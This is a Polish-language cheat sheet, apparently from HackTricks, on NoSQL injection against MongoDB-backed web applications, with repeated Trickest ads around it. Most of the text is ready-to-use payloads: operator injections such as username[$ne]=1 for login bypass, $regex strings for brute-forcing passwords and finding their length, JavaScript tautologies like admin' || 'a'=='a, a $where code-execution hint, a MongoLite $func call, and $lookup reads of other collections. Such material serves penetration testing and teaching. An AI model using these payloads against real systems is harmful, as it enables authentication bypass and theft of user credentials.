Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
W PHP możesz wysłać tablicę, zmieniając wysyłany parametr z parameter=foo na parameter[arrName]=foo.
Eksploity opierają się na dodaniu Operatora:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Napastnik może to wykorzystać, wprowadzając ciągi takie jak admin' || 'a'=='a, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek za pomocą tautologii ('a'=='a'). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak ' or 1=1-- -, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak ' || 1==1//, ' || 1==1%00 lub admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Ekstrakcja informacji o długości
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Używając operatora $func z biblioteki MongoLite (używanej domyślnie), może być możliwe wykonanie dowolnej funkcji, jak w tym raporcie.
"user":{"$func":"var_dump"}
Pobierz informacje z innej kolekcji
Możliwe jest użycie $lookup, aby uzyskać informacje z innej kolekcji. W poniższym przykładzie odczytujemy z innej kolekcji o nazwie users i uzyskujemy wyniki wszystkich wpisów z hasłem pasującym do symbolu wieloznacznego.
UWAGA:$lookup i inne funkcje agregacji są dostępne tylko wtedy, gdy użyto funkcji aggregate(), aby przeprowadzić wyszukiwanie zamiast bardziej powszechnych funkcji find() lub findOne().
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:
Podziel się sztuczkami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów github.
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś: